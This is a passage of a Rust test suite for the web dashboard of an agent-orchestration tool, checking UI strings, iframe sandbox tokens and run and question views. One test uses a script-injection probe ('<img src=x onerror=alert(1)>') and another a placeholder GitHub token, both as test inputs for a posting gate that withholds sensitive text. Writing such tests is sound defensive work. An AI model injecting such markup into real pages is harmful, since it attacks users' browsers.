21277 .find(name)
21278 .unwrap_or_else(|| panic!("{name} missing"));
21279 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21280 };
21281 assert!(body("function roundRail").contains("if (round <= 0) return null;"));
21282 let note = body("function landRoundNote");
21283 assert!(note.contains("No fix rounds needed (0 of ${rounds} used)."));
21284 assert!(note.contains("Land round ${round}"));
21285 let land = body("function renderLand");
21286 let note_at = land
21287 .find("landRoundNote(pr)")
21288 .expect("renderLand uses the note");
21289 assert!(
21290 note_at
21291 < land
21292 .find("roundRail(pr)")
21293 .expect("renderLand uses the rail")
21294 );
21295 }
21296
21297 #[test]
21298 fn the_runs_page_redesign_keeps_its_guards() {
21299 let body = |name: &str| {
21300 let at = APP_JS
21301 .find(name)
21302 .unwrap_or_else(|| panic!("{name} missing"));
21303 &APP_JS[at..at + 2500.min(APP_JS.len() - at)]
21304 };
21305 let land = body("function renderLand");
21307 let land = &land[..land.find("function followupList").unwrap_or(land.len())];
21308 assert!(
21309 !land.contains("box.append("),
21310 "renderLand must use append()"
21311 );
21312 assert!(land.contains("append(box, ["));
21313 assert!(body("function parseRoute").contains("RUN_TABS.includes(parts[2])"));
21315 assert!(
21316 body("function applyRoute")
21317 .contains("route.name !== state.route.name || route.id !== state.route.id")
21318 );
21319 assert!(!APP_JS.contains("adviseConvergeDiagram"));
21321 assert!(!INDEX_HTML.contains("advise-converge"));
21322 assert!(INDEX_HTML.contains("id=\"advise-strip\""));
21323 assert!(APP_JS.contains("provisional"));
21324 for id in [
21325 "run-tab-overview",
21326 "run-tab-timeline",
21327 "run-tab-report",
21328 "run-report",
21329 "runs-scope",
21330 ] {
21331 assert!(INDEX_HTML.contains(&format!("id=\"{id}\"")), "{id}");
21332 }
21333 assert!(!INDEX_HTML.contains("runs-tree"));
21334 assert!(!INDEX_HTML.contains("run-raw-panel"));
21335 assert!(APP_JS.contains("resume"));
21337 assert!(APP_JS.contains("unreadable"));
21339 }
21340
21341 #[test]
21342 fn the_unreadable_banner_is_dismissible_per_count_and_the_count_stays() {
21343 assert!(APP_JS.contains("magi-stats-unreadable-dismissed"));
21344 assert!(APP_JS.contains("s.runs_unreadable > 0 && s.runs_unreadable !== dismissed"));
21345 assert!(APP_JS.contains("setText(\n $(\"stats-unreadable-text\")"));
21346 assert!(INDEX_HTML.contains("id=\"stats-unreadable-close\""));
21347 assert!(INDEX_HTML.contains("aria-label=\"Dismiss unreadable-runs warning\""));
21348 assert!(APP_JS.contains("unreadable` : null"));
21350 }
21351
21352 #[test]
21353 fn blocked_run_detail_exposes_the_failed_gate_reason() {
21354 let mut state = RunState::new(
21355 "/repo".into(),
21356 "main".into(),
21357 "abc".into(),
21358 "task".into(),
21359 crate::config::Config::default(),
21360 );
21361 state.status = RunStatus::Blocked;
21362 state.gate_ran = true;
21363 state.gate.push(crate::run::CommandOutcome {
21364 command: "cargo make check".into(),
21365 code: Some(1),
21366 output_tail: "test web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message ... FAILED\ntest result: FAILED. 1813 passed; 1 failed; 0 ignored;".into(),
21367 duration_ms: 0,
21368 resource_blocked: false,
21369 });
21370 let view = RunDetailView::of(
21371 state,
21372 false,
21373 crate::run::Liveness::Unknown,
21374 None,
21375 None,
21376 None,
21377 );
21378 let value = serde_json::to_value(view).unwrap();
21379 assert_eq!(
21380 value["stop_reason"],
21381 "Gate failed: cargo make check — web::tests::talks_report_independent_thinking_claims_and_queue_a_second_message (1 failed)"
21382 );
21383 }
21384
21385 #[test]
21386 fn the_run_detail_payload_says_whether_the_run_is_done() {
21387 for (status, done) in [
21389 (RunStatus::Superseded, true),
21390 (RunStatus::Blocked, true),
21391 (RunStatus::Landing, false),
21392 ] {
21393 let mut state = RunState::new(
21394 std::path::PathBuf::from("/repo"),
21395 "main".to_owned(),
21396 "abc".to_owned(),
21397 "x".to_owned(),
21398 crate::config::Config::default(),
21399 );
21400 state.status = status;
21401 let v = serde_json::to_value(RunDetailView::of(
21402 state,
21403 false,
21404 crate::run::Liveness::Unknown,
21405 None,
21406 None,
21407 None,
21408 ))
21409 .unwrap();
21410 assert_eq!(v["done"], done, "{status:?}");
21411 }
21412 }
21413
21414 fn has_strong(nodes: &[md::Node]) -> bool {
21416 serde_json::to_string(nodes).unwrap().contains("strong")
21417 }
21418
21419 #[test]
21420 fn the_run_detail_payload_carries_markdown_for_agent_prose() {
21421 let mut state = RunState::new(
21422 std::path::PathBuf::from("/repo"),
21423 "main".to_owned(),
21424 "abc".to_owned(),
21425 "x".to_owned(),
21426 crate::config::Config::default(),
21427 );
21428 let proposal = |approach: &str| {
21429 serde_json::json!({
21430 "approach": approach, "key_tradeoff": "t", "why_not_naive": "w",
21431 })
21432 };
21433 state.advice = Some(
21434 serde_json::from_value(serde_json::json!({
21435 "records": [
21436 {"seat": "advisor-1", "agent": "a", "duration_ms": 1,
21437 "proposal": proposal("do **this**")},
21438 {"seat": "advisor-2", "agent": "b", "duration_ms": 1, "error": "no"},
21439 ],
21440 "synthesis": "- one\n- **two**\n\n`code`",
21441 }))
21442 .unwrap(),
21443 );
21444 state.candidates = serde_json::from_value(serde_json::json!([
21445 {"index": 0, "label": "A", "agent": "a", "branch": "b", "worktree": "/w",
21446 "summary": "did **it**"},
21447 {"index": 1, "label": "B", "agent": "a", "branch": "b", "worktree": "/w"},
21448 ]))
21449 .unwrap();
21450 state.reviews = serde_json::from_value(serde_json::json!([{
21453 "round": 1, "head": "h",
21454 "reviews": [{
21455 "reviewer": 1, "agent": "a", "summary": "sum **mary**",
21456 "findings": [
21457 {"severity": "nit", "title": "t1", "detail": "plain nit"},
21458 {"severity": "blocker", "title": "t2", "detail": "bad **blocker**"},
21459 ],
21460 }],
21461 "reconsideration": [{"reviewer": 1, "agent": "a", "reason": "because **so**"}],
21462 "fix": {"agent": "a", "notes": "fixed **it**",
21463 "rejected": [{"id": "R1-1-1", "why": "no **way**"}]},
21464 }, {"round": 2, "head": "h2", "reviews": []}]))
21465 .unwrap();
21466
21467 let v = serde_json::to_value(RunDetailView::of(
21468 state,
21469 false,
21470 crate::run::Liveness::Unknown,
21471 None,
21472 None,
21473 None,
21474 ))
21475 .unwrap();
21476
21477 let strong = |p: &str| {
21478 let n = v.pointer(p).unwrap_or_else(|| panic!("missing {p}"));
21479 assert!(n.to_string().contains("strong"), "{p}: {n}");
21480 };
21481 strong("/advice_md/synthesis");
21482 assert!(v["advice_md"]["synthesis"].to_string().contains("code"));
21483 assert!(v["advice_md"]["synthesis"].to_string().contains("list"));
21484 strong("/advice_md/approaches/0");
21485 assert_eq!(v["advice_md"]["approaches"][1], serde_json::json!([]));
21486 strong("/candidate_summaries_md/0");
21487 assert_eq!(v["candidate_summaries_md"][1], serde_json::json!([]));
21488 strong("/reviews_md/0/reviewers/0/summary");
21489 let f = &v["reviews_md"][0]["reviewers"][0]["findings"];
21490 assert!(!f[0].to_string().contains("strong"), "recorded order kept");
21491 assert!(f[1].to_string().contains("strong"));
21492 strong("/reviews_md/0/reconsideration/0");
21493 strong("/reviews_md/0/fix/notes");
21494 strong("/reviews_md/0/fix/rejected/0");
21495 assert_eq!(v["reviews_md"][1]["fix"], serde_json::Value::Null);
21496 assert_eq!(v["reviews_md"][1]["reviewers"], serde_json::json!([]));
21497 assert_eq!(v["candidates"][0]["summary"], "did **it**");
21499 assert!(has_strong(&md::to_nodes("**x**", &md::ImageBase::None)));
21500 }
21501
21502 #[test]
21503 fn a_run_without_advice_has_no_advice_md() {
21504 let state = RunState::new(
21505 std::path::PathBuf::from("/repo"),
21506 "main".to_owned(),
21507 "abc".to_owned(),
21508 "x".to_owned(),
21509 crate::config::Config::default(),
21510 );
21511 let p = run_prose_md(&state);
21512 assert!(p.advice_md.is_none());
21513 assert!(p.candidate_summaries_md.is_empty() && p.reviews_md.is_empty());
21514 }
21515
21516 #[test]
21517 fn posting_comparison_view_validates_metadata_and_supports_legacy_questions() {
21518 let store = ask::Questions::at(PathBuf::from("unused"));
21519 let gt = crate::github_text::Withheld {
21520 title: false,
21521 body: true,
21522 categories: vec!["sensitive-data".into()],
21523 };
21524 let body = "<img src=x onerror=alert(1)> & 192.0.2.1";
21525 let (detail, comparison) =
21526 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21527 let mut q = Question::new(
21528 "r".into(),
21529 "github-text".into(),
21530 "posting-gate".into(),
21531 "s".into(),
21532 detail,
21533 Vec::new(),
21534 );
21535 assert!(
21536 QuestionView::of(q.clone(), &store, None)
21537 .posting_view
21538 .is_none()
21539 );
21540 q.posting_comparison = Some(comparison);
21541 let view = QuestionView::of(q.clone(), &store, None);
21542 let field = &view.posting_view.unwrap().fields[0];
21543 assert_eq!(
21544 field
21545 .original
21546 .iter()
21547 .map(|f| f.text.as_str())
21548 .collect::<String>(),
21549 body
21550 );
21551 assert!(field.original[0].text.starts_with("<img"));
21552 let original_question: Question =
21553 serde_json::from_str(&serde_json::to_string(&q).unwrap()).unwrap();
21554 assert_eq!(original_question, q);
21555 q.posting_comparison.as_mut().unwrap().fields[0].pairs[0]
21556 .original
21557 .start = 1;
21558 assert!(
21559 QuestionView::of(q.clone(), &store, None)
21560 .posting_view
21561 .is_none()
21562 );
21563 q.posting_comparison = original_question.posting_comparison;
21564 q.detail.push_str("extra context");
21565 assert!(
21566 QuestionView::of(q.clone(), &store, None)
21567 .posting_view
21568 .is_some()
21569 );
21570 q.detail.insert(0, 'x');
21571 assert!(QuestionView::of(q, &store, None).posting_view.is_none());
21572 }
21573
21574 #[test]
21575 fn posting_comparison_whole_field_view_carries_unique_trigger_groups() {
21576 let store = ask::Questions::at(PathBuf::from("unused"));
21577 let body = "日本語の説明です。\nghp_abcdefghijklmnop\nMore context.\nghp_abcdefghijklmnop";
21578 let gt = crate::github_text::Withheld::from_check(
21579 &crate::github_text::check("fix: x", body),
21580 "fix: x",
21581 body,
21582 )
21583 .unwrap();
21584 let (detail, comparison) =
21585 crate::github_text::question_content(>, "fix: x", body, "r", None, None, None);
21586 let mut q = Question::new(
21587 "r".into(),
21588 "github-text".into(),
21589 "posting-gate".into(),
21590 "s".into(),
21591 detail,
21592 Vec::new(),
21593 );
21594 q.posting_comparison = Some(comparison);
21595 let value = serde_json::to_value(QuestionView::of(q.clone(), &store, None)).unwrap();
21596 let field = &value["posting_view"]["fields"][0];
21597 let group = &field["replacement_group"];
21598 let triggers = group["triggers"].as_array().unwrap();
21599 assert_eq!(triggers.len(), 2);
21600 assert_ne!(triggers[0], triggers[1]);
21601 for id in triggers {
21602 assert!(
21603 field["original"]
21604 .as_array()
21605 .unwrap()
21606 .iter()
21607 .any(|f| &f["pair"] == id)
21608 );
21609 assert!(
21610 !field["changed"]
21611 .as_array()
21612 .unwrap()
21613 .iter()
21614 .any(|f| &f["pair"] == id)
21615 );
21616 }
21617 q.posting_comparison.as_mut().unwrap().fields[0].original_triggers[0].id =
21618 group["id"].as_u64().unwrap() as usize;
21619 assert!(
21620 QuestionView::of(q, &store, None).posting_view.is_none(),
21621 "group and trigger IDs cannot collide"
21622 );
21623 }
21624
21625 #[test]
21626 fn a_question_view_carries_markdown_for_each_thread_turn() {
21627 let home = TempDir::new().unwrap();
21628 let store = ask::Questions::at(home.path().join("questions"));
21629 let mut q = Question::new(
21630 "run".to_owned(),
21631 "implement".to_owned(),
21632 "impl-A".to_owned(),
21633 "which?".to_owned(),
21634 String::new(),
21635 Vec::new(),
21636 );
21637 q.say("plain words").unwrap();
21638 q.reply("use **this**", Vec::new()).unwrap();
21639 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21640 let bodies = &v["thread_bodies_md"];
21641 assert_eq!(bodies.as_array().unwrap().len(), 2);
21642 assert!(!bodies[0].to_string().contains("strong"));
21643 assert!(bodies[1].to_string().contains("strong"));
21644 }
21645
21646 #[test]
21647 fn a_question_view_carries_each_turns_deputy_note_as_markdown() {
21648 let home = TempDir::new().unwrap();
21649 let store = ask::Questions::at(home.path().join("questions"));
21650 let mut q = Question::new(
21651 "run".to_owned(),
21652 "conduct".to_owned(),
21653 "conduct".to_owned(),
21654 "which?".to_owned(),
21655 String::new(),
21656 Vec::new(),
21657 );
21658 q.say("plain words").unwrap();
21659 q.thread.push(ask::Turn {
21660 who: ask::Who::Agent,
21661 body: "Settled as `merge`".to_owned(),
21662 at: jiff::Timestamp::now(),
21663 note: Some("filed `abc123` _Fix [R1-1]_ (held; `magi task release abc123`)".to_owned()),
21664 });
21665 let v = serde_json::to_value(QuestionView::of(q, &store, None)).unwrap();
21666 let notes = &v["thread_notes_md"];
21667 assert_eq!(notes.as_array().unwrap().len(), 2);
21668 assert!(notes[0].is_null());
21669 let text = notes[1].to_string();
21670 assert!(text.contains("abc123") && text.contains("R1-1"), "{text}");
21671 assert!(APP_JS.contains("ask-turn-note"));
21672 }
21673
21674 #[test]
21675 fn a_finished_run_with_a_stale_open_pr_is_not_painted_as_landing() {
21676 assert!(APP_JS.contains("function landView(run, raw) {"));
21680 assert!(
21681 APP_JS.contains(
21682 "if (run.done && raw.state === \"open\") return { ...raw, stale: true };"
21683 )
21684 );
21685 assert!(APP_JS.contains("const pr = landView(run, raw);"));
21686 assert!(APP_JS.contains("pr.stale ? \"last seen open\""));
21687 assert!(APP_JS.contains("pr.stale ? null : checksChip(pr)"));
21688 assert!(APP_JS.contains("pr.state !== \"open\" || Boolean(pr.stale)"));
21689 }
21690
21691 #[test]
21692 fn live_runs_are_never_hidden_or_folded_as_superseded() {
21693 assert!(APP_JS.contains("function isLiveAttempt(run) {\n return !run.done;"));
21694 assert!(APP_JS.contains("if (isLiveAttempt(run)) return false;"));
21695 assert!(APP_JS.contains("(!isLiveAttempt(run) && run.superseded_by"));
21696 assert!(APP_JS.contains("kids.filter(matchesRunState).length"));
21697 }
21698
21699 #[test]
21700 fn review_rounds_label_a_distinct_verified_head() {
21701 assert!(APP_JS.contains("round.verified_head"));
21702 assert!(APP_JS.contains("verified HEAD"));
21703 assert!(APP_JS.contains("verified ${String(round.verified_head).slice(0, 7)}"));
21704 }
21705
21706 #[test]
21707 fn queue_ui_presents_blocked_dependencies_and_resolved_questions() {
21708 assert!(APP_JS.contains("blocked: { glyph:"));
21712 assert!(APP_JS.contains("Blocked. Waiting on another task or question to resolve."));
21713
21714 assert!(APP_JS.contains("function classifyBlockedBy(blockedBy, tasksById, questionsById)"));
21718 assert!(
21719 APP_JS.contains(
21720 "if (parts.length) noteText = `${noteText} Waiting on ${parts.join(\" and \")}.`;"
21721 ),
21722 "the note line must name what a blocked task is waiting on, not just that it is blocked"
21723 );
21724 assert!(APP_JS.contains("if (status === \"blocked\") {"));
21728
21729 assert!(APP_JS.contains("function depNode(id, byId, questionNodes)"));
21733 assert!(APP_JS.contains("questionNodes.set(dep, questionsById.get(dep));"));
21734 assert!(
21735 APP_JS.contains("location.hash = \"#/questions\";"),
21736 "a question node must jump to the Questions screen, not pretend to be a task"
21737 );
21738
21739 assert!(APP_JS.contains("Resolved questions"));
21742 assert!(APP_JS.contains("r.answersList.append("));
21743 assert!(APP_CSS.contains(".task-answers"));
21744 {
21745 let start = APP_JS
21746 .find("function updateTalkTaskRow")
21747 .expect("updateTalkTaskRow");
21748 let body = &APP_JS[start..];
21749 let body = &body[..body.find("\n}\n").expect("updateTalkTaskRow ends")];
21750 assert!(
21751 body.contains(
21752 "setAttr(r.link, \"href\", `#/tasks/${encodeURIComponent(task.id)}`)"
21753 ),
21754 "a chat-filed task row must link to the task page"
21755 );
21756 assert!(
21757 !body.contains("#/runs/") && !body.contains("#/queue/"),
21758 "the row must not branch to a run or the queue card"
21759 );
21760 assert!(APP_CSS.contains(".talk-task-link"));
21761 }
21762 }
21763
21764 #[test]
21765 fn a_task_notification_links_to_the_task_page() {
21766 let start = APP_JS
21768 .find("function noticeLink(")
21769 .expect("noticeLink exists");
21770 let body = &APP_JS[start..];
21771 let body = &body[..body.find("\n}\n").expect("noticeLink ends")];
21772 assert!(
21773 body.contains("href: `#/tasks/${encodeURIComponent(link.id)}`"),
21774 "a task notice's link must target the task page"
21775 );
21776 assert!(
21777 !body.contains("#/queue/"),
21778 "regression: the task link must not go back to the Backlog route"
21779 );
21780 assert!(
21781 APP_JS.contains(
21782 "if (parts[0] === \"tasks\" && parts[1]) return { name: \"task\", id: decodeURIComponent(parts[1]) };"
21783 ),
21784 "`#/tasks/<id>` must parse into the task route"
21785 );
21786
21787 assert!(
21789 APP_JS.contains(
21790 "if (parts[0] === \"queue\" && parts[1]) return { name: \"queue\", id: decodeURIComponent(parts[1]) };"
21791 ),
21792 "`#/queue/<id>` must parse into a route carrying that id"
21793 );
21794
21795 assert!(APP_JS.contains("state.queueFocus = route.id;"));
21799 assert!(APP_JS.contains("function consumeQueueFocus()"));
21800 assert!(APP_JS.contains("jumpToTask(id)"));
21801 }
21802
21803 #[test]
21804 fn notifications_distinguish_actionable_questions_from_informational_notices() {
21805 let start = APP_JS
21806 .find("function noticeCoveredBy(")
21807 .expect("noticeCoveredBy exists");
21808 let body = &APP_JS[start..];
21809 let body = &body[..body.find("\n}\n").expect("noticeCoveredBy ends")];
21810
21811 assert!(body.contains("Associated question ${short}"));
21813 assert!(!body.contains("el(\"a\""));
21814
21815 assert!(body.contains("(resolved)"));
21817 assert!(body.contains("(closed)"));
21818
21819 let start = APP_JS
21820 .find("function renderNotifications()")
21821 .expect("renderNotifications exists");
21822 let body = &APP_JS[start..];
21823 let body = &body[..body.find("\n}\n").expect("renderNotifications ends")];
21824
21825 assert!(body.contains("const questionLink = n.answerable_question ? el(\"a\", {"));
21827 assert!(body.contains("href: `#/questions/${encodeURIComponent(n.answerable_question)}`"));
21828 assert!(body.contains("text: \"Open question to respond\",\n }) : null;"));
21829 assert!(body.contains("questionLink ? subjectLink : noticeCoveredBy(n.covered_by)"));
21830 }
21831
21832 #[test]
21835 fn chat_rows_put_the_title_alone_on_the_first_line() {
21836 assert!(APP_CSS.contains("#talks-list .card-title {\n grid-row: 1; grid-column: 1 / -1;"));
21837 assert!(APP_CSS.contains(
21838 "display: block; white-space: nowrap; overflow: hidden; text-overflow: ellipsis;"
21839 ));
21840 assert!(APP_CSS.contains("#talks-list .card-when { grid-row: 2;"));
21841 assert!(APP_JS.contains("class: \"badge talk-unread\""));
21842 }
21843
21844 #[test]
21845 fn run_rows_put_the_title_alone_on_the_first_line() {
21846 assert!(
21847 APP_CSS.contains(
21848 ".cards .card.run-card .card-title {\n grid-row: 1; grid-column: 1 / -1;"
21849 )
21850 );
21851 assert!(APP_CSS.contains(".cards .card.run-card .card-when { grid-row: 2;"));
21852 assert!(APP_JS.contains("class: \"card run-card\""));
21853 assert!(APP_JS.contains("class: \"repo run-id\""));
21854 }
21855
21856 #[test]
21860 fn wide_screens_show_list_and_preview_side_by_side() {
21861 assert!(APP_JS.contains("const SPLIT_QUERY = \"(min-width: 1080px)\";"));
21863 assert!(APP_JS.contains("window.matchMedia(SPLIT_QUERY)"));
21864 assert!(APP_CSS.contains("main[data-split]"));
21865 assert!(APP_CSS.contains("body[data-split]"));
21866
21867 assert!(APP_JS.contains("function splitPanes(route, wide) {\n if (!wide) return null;"));
21869 assert!(
21870 APP_JS.contains(
21871 "case \"run\": return { list: route.list || \"runs\", detail: \"run\" };"
21872 )
21873 );
21874 assert!(APP_JS.contains("case \"task\": return { list: \"queue\", detail: \"task\" };"));
21875 assert!(APP_JS.contains("case \"talk\": return { list: \"talks\", detail: \"talk\" };"));
21876 assert!(INDEX_HTML.contains("id=\"split-empty\""));
21877
21878 assert!(APP_JS.contains("function markSelected() {"));
21880 assert!(APP_JS.contains("\"aria-current\", id && card.dataset[key] === id"));
21881 assert!(APP_CSS.contains(".card[aria-current=\"true\"]"));
21882 assert!(
21884 APP_CSS.contains(
21885 "display: flex; flex-direction: row; flex-wrap: wrap; align-items: center;"
21886 )
21887 );
21888
21889 assert!(APP_CSS.contains("height: 100dvh; padding-bottom: 0; overflow: hidden;"));
21891 assert!(APP_CSS.contains("grid-column: 1; grid-row: 1; min-height: 0; overflow: auto;"));
21892 assert!(APP_CSS.contains("grid-column: 2; grid-row: 1; min-height: 0; overflow: auto;"));
21893 assert!(!APP_JS.contains("if (changed) window.scrollTo({ top: 0 });"));
21894
21895 assert!(APP_JS.contains("if (state.detail !== detail) return;"));
21899 assert!(APP_JS.contains("if (state.taskDetail !== detail) return;"));
21900 assert!(APP_JS.contains("if (state.talkDetail.id !== id) return;"));
21901 assert!(APP_JS.contains("const relayout = () => applyRoute();"));
21902
21903 assert!(APP_JS.contains("sandbox: \"allow-popups allow-popups-to-escape-sandbox\""));
21905 }
21906
21907 #[test]
21908 fn panel_sandbox_carries_exactly_popups() {
21909 let needle = "sandbox: \"";
21910 let matches: Vec<_> = APP_JS.match_indices(needle).collect();
21911 assert_eq!(
21912 matches.len(),
21913 1,
21914 "APP_JS must have exactly one sandbox attribute setting: found {matches:?}"
21915 );
21916 let start = matches[0].0 + needle.len();
21917 let end = APP_JS[start..]
21918 .find('"')
21919 .expect("sandbox attribute value must be terminated by a closing quote");
21920 let val = &APP_JS[start..start + end];
21921 let tokens: std::collections::BTreeSet<&str> = val.split_whitespace().collect();
21922 let expected: std::collections::BTreeSet<&str> =
21923 ["allow-popups", "allow-popups-to-escape-sandbox"]
21924 .into_iter()
21925 .collect();
21926 assert_eq!(tokens, expected, "sandbox tokens must match exactly");
21927 assert!(
21928 !tokens.contains("allow-scripts"),
21929 "allow-scripts must never be present in sandbox"
21930 );
21931 assert!(
21932 !tokens.contains("allow-same-origin"),
21933 "allow-same-origin must never be present in sandbox"
21934 );
21935 }
21936
21937 #[test]
21938 fn consuming_a_queue_focus_survives_clearing_a_stale_backlog_search() {
21939 assert!(
21948 APP_JS.contains(
21949 " }\n if (state.queueSearch.trim() !== \"\") {\n state.queueSearch = \"\";"
21950 ),
21951 "the search-clearing branch must run before state.queueFocus is cleared, or the \
21952 recursive renderQueue() call has nothing left to jump to"
21953 );
21954 assert!(
21955 APP_JS.contains("if (jumpToTask(id)) state.queueFocus = null;"),
21956 "state.queueFocus must be cleared only once the jump has landed, so a card that \
21957 arrives later still gets it"
21958 );
21959 assert!(APP_JS.contains("state.queueFocusMissing = missing ? id : null;"));
21960 assert!(APP_JS.contains("is not in the current Backlog."));
21961 assert!(APP_JS.contains("li.card[data-task-id=\""));
21962 assert!(APP_JS.contains("setAttr(r.card, \"data-task-id\", task.id);"));
21963 assert!(APP_JS.contains("`#/queue/${encodeURIComponent(task.id)}`"));
21964 assert!(APP_CSS.contains(".card-permalink"));
21965 assert!(APP_CSS.contains(".queue-focus-status"));
21966 assert!(APP_JS.contains("const section = route.name === \"run\" ? route.list || \"runs\""));
21967 }
21968
21969 #[test]
21970 fn a_notification_card_navigates_from_anywhere_on_it_not_just_its_link_text() {
21971 assert!(
21979 APP_JS.contains(
21980 "onclick: link ? (event) => { if (!event.target.closest(\"a, button\")) link.click(); } : null"
21981 ),
21982 "the notice card itself must forward a tap outside its link/buttons to the link's own click"
21983 );
21984 }
21985
21986 #[test]
21987 fn review_rounds_tell_a_stale_verification_and_a_resource_block_apart_from_a_real_result() {
21988 assert!(
21989 APP_JS.contains("round.verified_head !== round.head"),
21990 "a round that verified an earlier commit must be visibly distinct from one that \
21991 verified the head reviewers are looking at now"
21992 );
21993 assert!(
21994 APP_JS.contains("round.verified_at"),
21995 "when a check ran must be on the wire, not just which commit"
21996 );
21997 assert!(
21998 APP_JS.contains("resource_blocked"),
21999 "a command magi never got to run (shared build cache contention) must not render \
22000 the same as a command that ran and failed"
22001 );
22002 }
22003
22004 #[test]
22005 fn a_stats_kpi_tile_navigates_to_the_runs_view_pre_filtered_to_its_own_status() {
22006 assert!(
22014 APP_JS.contains("onClick: () => openRunsFiltered(status)"),
22015 "every KPI tile built through statusTile() must route its click through \
22016 openRunsFiltered, the single place that sets the Runs filter"
22017 );
22018 for (label, status) in [
22019 ("Merged", "merged"),
22020 ("Ready", "ready"),
22021 ("Blocked", "blocked"),
22022 ("Stalled", "stalled"),
22023 ] {
22024 let call = format!("statusTile(\"{label}\", t.{status}, ");
22025 assert!(
22026 APP_JS.contains(&call),
22027 "expected the {label} KPI tile built via {call}..."
22028 );
22029 assert!(
22030 APP_JS.contains(&format!("status === \"{status}\"")),
22031 "\"{status}\" must be a real RunStatus literal runSection()/isStale() already \
22032 compare a run against, not one invented only for the stats tile"
22033 );
22034 }
22035 assert!(
22036 APP_JS.contains("function openRunsFiltered(status)"),
22037 "openRunsFiltered must exist as the single place a stats tile sets the Runs filter"
22038 );
22039 assert!(
22040 APP_JS.contains(
22041 "if (status && !statusInBucket(String(run.status || \"\"), status)) return false;"
22042 ),
22043 "matchesFilter must gate on the statuses of the bucket a KPI tile named"
22044 );
22045 assert!(
22053 APP_JS.contains(" location.hash = \"#runs\";\n applyRoute();\n renderRuns();\n}"),
22054 "openRunsFiltered must explicitly re-render the Runs list, not rely on a \
22055 hashchange event that may never fire"
22056 );
22057 }
22058
22059 #[test]
22060 fn selecting_a_run_state_chip_drops_an_incompatible_status_filter() {
22061 assert!(APP_JS.contains("function statusCompatibleWithStateFilter(status, filterKey)"));
22067 assert!(
22068 APP_JS.contains(
22069 " if (state.runsFilter.status && !statusCompatibleWithStateFilter(state.runsFilter.status, key)) {\n state.runsFilter = { ...state.runsFilter, status: null };\n }"
22070 ),
22071 "selectRunStateFilter must clear an incompatible status filter, mirroring its own \
22072 guard for an incompatible tree section"
22073 );
22074 }
22075
22076 #[test]
22077 fn every_stats_queue_tile_names_a_real_queue_section() {
22078 assert!(
22084 APP_JS.contains("onClick: () => openQueueSectionFocus(sectionKey)"),
22085 "every queue tile built through sectionTile() must route its click through \
22086 openQueueSectionFocus"
22087 );
22088 for key in ["upnext", "running", "done", "held", "blocked"] {
22089 assert!(
22090 APP_JS.contains(&format!("{{ key: \"{key}\",")),
22091 "QUEUE_SECTIONS must define a \"{key}\" section for a stats tile to reveal"
22092 );
22093 }
22094 for line in [
22098 "sectionTile(\"Queued\", q.queued, \"blue\", \"upnext\"),",
22099 "sectionTile(\"Running\", q.running, \"blue\", \"running\"),",
22100 "sectionTile(\"Done\", q.done, \"gold\", \"done\"),",
22101 "sectionTile(\"Failed\", q.failed, \"rust\", \"upnext\"),",
22102 "sectionTile(\"Held\", q.held, \"rust\", \"held\"),",
22103 "sectionTile(\"Blocked\", q.blocked, \"rust\", \"blocked\"),",
22104 ] {
22105 assert!(APP_JS.contains(line), "expected a stats queue tile: {line}");
22106 }
22107 }
22108
22109 #[test]
22110 fn a_stats_queue_tile_reveals_its_section_without_dropping_a_pending_task_focus() {
22111 assert!(APP_JS.contains("function openQueueSectionFocus(sectionKey)"));
22118 assert!(APP_JS.contains("function consumeQueueSectionFocus()"));
22119 assert!(APP_JS.contains("function revealQueueSection(details)"));
22120 assert!(
22121 APP_JS.contains("consumeQueueFocus();\n consumeQueueSectionFocus();"),
22122 "renderQueue() must consume both focus channels on every pass"
22123 );
22124 assert!(
22125 APP_JS.contains(
22126 " const key = state.queueSectionFocus;\n if (!key || state.queue === null) return;\n if (state.queueSearch.trim() !== \"\") {"
22127 ),
22128 "the search-clearing branch must run before state.queueSectionFocus is cleared, or \
22129 the recursive renderQueue() call has nothing left to reveal"
22130 );
22131 assert!(
22132 APP_JS.contains(
22133 " const details = document.querySelector(`#queue-sections details.list-section[data-key=\"${CSS.escape(key)}\"]`);\n state.queueSectionFocus = null;\n if (details) revealQueueSection(details);"
22134 ),
22135 "state.queueSectionFocus must only be cleared immediately before the reveal it guards"
22136 );
22137 assert!(
22145 APP_JS.contains(" location.hash = \"#queue\";\n applyRoute();\n renderQueue();\n}"),
22146 "openQueueSectionFocus must explicitly re-render the Backlog, not rely on a \
22147 hashchange event that may never fire"
22148 );
22149 }
22150
22151 #[tokio::test]
22152 async fn the_change_stream_announces_the_current_revisions_on_connect() {
22153 let f = Fixture::start().await;
22154
22155 let mut socket = tokio::net::TcpStream::connect(f.addr)
22156 .await
22157 .expect("connect");
22158 socket
22159 .write_all(
22160 b"GET /api/events HTTP/1.1\r\nHost: magi\r\nAccept: text/event-stream\r\n\r\n",
22161 )
22162 .await
22163 .expect("write request");
22164
22165 let mut seen = String::new();
22168 let mut buf = [0u8; 1024];
22169 while !seen.contains("event: change") {
22170 let read = tokio::time::timeout(Duration::from_secs(5), socket.read(&mut buf))
22171 .await
22172 .expect("the stream must speak within five seconds")
22173 .expect("read");
22174 assert!(read > 0, "the server closed the change stream: {seen}");
22175 seen.push_str(&String::from_utf8_lossy(&buf[..read]));
22176 }
22177
22178 assert!(
22179 seen.to_lowercase()
22180 .contains("content-type: text/event-stream"),
22181 "the browser only reconnects automatically for a real SSE stream: {seen}"
22182 );
22183 let data = seen
22184 .lines()
22185 .find_map(|l| l.strip_prefix("data:"))
22186 .expect("a data line");
22187 let payload: Value = serde_json::from_str(data.trim()).expect("json payload");
22188 assert!(
22189 payload["queue_rev"].is_u64()
22190 && payload["runs_rev"].is_u64()
22191 && payload["questions_rev"].is_u64()
22192 && payload["talks_rev"].is_u64()
22193 && payload["notifications_rev"].is_u64()
22194 && payload["loop_rev"].is_u64(),
22195 "the client needs one revision per store to know what to refetch, \
22196 and `talks_rev` is the only notification a standing talk gets - a \
22197 phone whose radio slept through a turn learns about it here, as \
22198 does one whose operator started the loop from another device: \
22199 {payload}"
22200 );
22201
22202 let health = f.get("/api/health").await.json();
22209 for key in [
22210 "queue_rev",
22211 "runs_rev",
22212 "questions_rev",
22213 "talks_rev",
22214 "notifications_rev",
22215 "loop_rev",
22216 ] {
22217 assert!(
22218 health[key].is_u64(),
22219 "health is the change stream's fallback and is missing `{key}`: {health}"
22220 );
22221 }
22222 }
22223
22224 #[tokio::test]
